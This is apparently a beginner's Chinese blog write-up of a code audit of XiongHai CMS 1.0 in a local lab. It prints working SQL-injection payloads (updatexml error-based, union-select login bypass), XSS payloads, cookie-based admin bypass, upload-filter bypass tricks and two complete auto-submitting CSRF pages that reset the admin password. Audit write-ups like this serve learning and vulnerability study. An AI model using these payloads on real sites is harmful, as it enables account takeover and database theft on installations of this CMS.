php代码审计初试-熊海CMS1-0
源码下载
站长下载:http://down.chinaz.com/soft/36930.htm
环境配置
VSCode phpstudy2018 php5.6.27
配置方法:国光大佬https://www.sqlsec.com/2020/09/xdebug.html
CMS目录
admin --后台文件夹
css --css文件夹
files --存放网站的各种功能页面文件夹
images --存放图片文件夹
inc --配置文件夹
install --网站安装文件夹
seacmseditor --网站的编辑器文件夹
template --模板文件夹
upload --存放网站上传的文件
index.php --网站入口
入口分析
index.php
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
get接收r,包含r名的php文件,没有经过过滤可以跨目录包含任意php文件
写一个phpinfo文件包含尝试、
继续查看files/index.php
34行
<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>"
跟进一下
get接收了cid,经过addslashes函数,转义了单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)
绕过addslashes()方法
1.没有使用单引号或双引号闭合,直接注入己可
2.宽字节注入
%df%27
gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来
3.经过编码后转义在解码插入sql语句
查看编码不是gbk,放弃宽字节注入
发现19行的查询id并没有进行单引号或双引号闭合,可以注入,而且可回显,直接报错注入
?r=content&cid=1 or(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))
继续看154有留言功能
跟进一下(content.php后面也没传参代码)
先设置了session,对传入的type进行了addslashes()其他的参数暂时并未转义
进行了验证码的判断
if(strtolower($_POST['randcode'])<>addslashes($_SESSION['randcode'])){
echo "<Script language=JavaScript>alert('抱歉,验证码错误,请重新输入!');history.back();</Script>";
exit;
}
然后是对是否为空的判断
35~38是对判断评论是否含有GBK中文编码汉字
if (!preg_match("/([\x81-\xfe][\x40-\xfe])/", $content, $match)) {
echo "<Script language=JavaScript>alert('亲,再说点别的了吧?');history.back();</Script>";
exit;
}
48行
$content= addslashes(strip_tags($content));//过滤HTML
strip_tags从字符串中去除 HTML 和 PHP 标记
又进行了addslashes转义
个人目前觉得没问题
66行,发现mail没用经过任何过滤 拼接到查询语句中
存在sql注入,闭合标签,报错注入
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
payload:
') and updatexml(1,concat(0x7e,user()),1)#
继续向后看,根据配置设置不同的参数,暂时不管
121行~147行进行将传参放入数据库中,发现很多参数没用经过过滤存在存储xss,sql注入
比如name参数
存储xss,发现前台输出评论时也没经过任何过滤
后台输出时候也没经过过滤,所有可以打后台
payload:
<script>alert(1)</script>
sql报错注入,因为有回显
' and updatexml(1,concat(0x7e,user()),1) and '
拼接后执行的语句
"INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'1',
'1',
'5',
'' and updatexml(1,concat(0x7e,user()),1) and '',
'name',
'http://name',
'81',
'PC',
'127.0.0.1',
'name sql 测试',
'1',
now()
)"
通过引号的闭合执行语句
继续
if ($pltz==1)执行下面的代码,发现中间sql的查询
而且cid的变量未经过过滤
查看如何让pltz==1
需要站长开启,新留言评论通知,我们开启尝试一下
报错注入,同样有回显
payload(type要等于comment或download,这样type才能等于1or3
才能执行sql语句):
5)%20and%20updatexml(1,concat(0x7e,user()),1)#
继续看file下的文件
about.php contact.php 同理
contact.php还存在反射形xss
payload:
/?r=contact&page=<script>alert(1)</script>
software.php
同理第二个地方存在注入
payload:
1 and updatexml(1,concat(0x7e,user()),1)#
admin目录
入口文件同初始入口目录相同,也同样存在文件包含
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
继续进入/admin/files/index.php目录
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>
查看checklogin.php对登录的验证
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
也就是说如果cookie中的user不为空就可以直接跳过登录,存在未授权访问
这里index里还包含了后台的菜单等会再看
先查看登录页面login.php
username并未经过过滤,存在sql注入
同时这里还存在任意密码登录
参考大佬的文章(涨知识了):https://xz.aliyun.com/t/7629
什么原理呢??它这里通过查询返回的passwd字段与传入passwd的md5比较
而这个passwd字段我们是可控的,那么就任意密码登录了
所以payload:
username:1' union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1
这样比注入拿到md5的passwd反过来解登录舒服
登录跳转回index,查看刚刚index没看的后台菜单
95行调用了/template/top.php
跟进看一下
54行对cookie的user并未经过任何过滤直接执行sql,存在cookie注入
而且有回显报错注入
继续查看/template/sidebar.php
有发布内容 内容管理 栏目管理 友情链接
互动 设置等功能
查看发布内容
\admin\files\newwz.php
查看对于上传文件的处理
获取文件名称后三个字母
function GetFileTypeToString()
{
if( ! empty( $this -> uploadFile[ 'name' ] ) )
{
return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );
}
}
}
后三个字母进行白名单处理
function GetFileMIME()
{
return $this->GetFileTypeToString();
}
function CheckFileMIMEType()
{
$pass = false;
$defineTypeList = strtolower( $this ->defineTypeList);
$MIME = strtolower( $this -> GetFileMIME());
if (!empty ($defineTypeList))
{
if (!empty ($MIME))
{
foreach(explode("|",$defineTypeList) as $tmp)
{
if ($tmp == $MIME)
{
$pass = true;
}
}
到目前为止其实还是可以绕过的,可以利用shell.php/jpg
test.php%00.jpg test.php:1.jpg(windows)
取决于你的保存方式
查看保存
随机数+时间加文件名后三位,就是检测的后三位,抬走上传不了(个人理解)即使传图片马利用文件包含但是我们没似乎也不知道文件名
继续看发布文章,83行没有经过过滤直接插入数据库存在sql注入
payload:
1' and updatexml(1,concat(0x7e,user()),1) and '
发布下载newsoft和上面一样不看了
继续看wzlist.php
同样原理sql注入不在多说,编辑文章和上面一样
softlist.php和newsoft一样不看了
继续看栏目管理
newcolumn.php没有过滤sql注入(同样原理)
columnlist.php sql注入
后面的各种设置漏洞都差不多
查看修改密码部分
修改密码并没有要之前的密码,而验证是否是管理员
还是cookie的方式
所以存在csrf
burp抓包
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/xhcms\/admin\/?r=manageinfo", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------36130568313950689285470620618");
xhr.withCredentials = true;
var body = "-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"user\"\r\n" +
"\r\n" +
"admin\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"name\"\r\n" +
"\r\n" +
"admin\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"password\"\r\n" +
"\r\n" +
"12345\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"password2\"\r\n" +
"\r\n" +
"12345\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"mail\"\r\n" +
"\r\n" +
"me@isea.so\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"qq\"\r\n" +
"\r\n" +
"86226999\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"images\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"save\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------36130568313950689285470620618--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/xhcms\/admin\/?r=manageinfo", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------36130568313950689285470620618");
xhr.withCredentials = true;
var body = "-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"user\"\r\n" +
"\r\n" +
"admin\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"name\"\r\n" +
"\r\n" +
"admin\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"password\"\r\n" +
"\r\n" +
"12345\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"password2\"\r\n" +
"\r\n" +
"12345\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"mail\"\r\n" +
"\r\n" +
"me@isea.so\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"qq\"\r\n" +
"\r\n" +
"86226999\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"images\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------36130568313950689285470620618\r\n" +
"Content-Disposition: form-data; name=\"save\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------36130568313950689285470620618--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input id="lnng" type="Submit" value="Submit" onclick="submitRequest();" />
</form>
<script type="text/javascript"> // js自动点击
var lnng = document.getElementById("lnng");
lnng.click();
</script>
</body>
</html>
设置js自动点击,在设置之前的存储xss跳转到csrf页面
成功修改密码
后台中还有很多比如删除文章等地方同样存在csrf,同样原理
最后
第一次代码审计选了个简单的cms,不涉及框架很适合我这种小白,体验还不错(其实看了蛮久的,唉)
如有错误请大佬指点,感谢
参考文章
evils大佬:https://evi1s.com/archives/124/
最后欢迎访问我的个人博客:https://lnng.top/
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担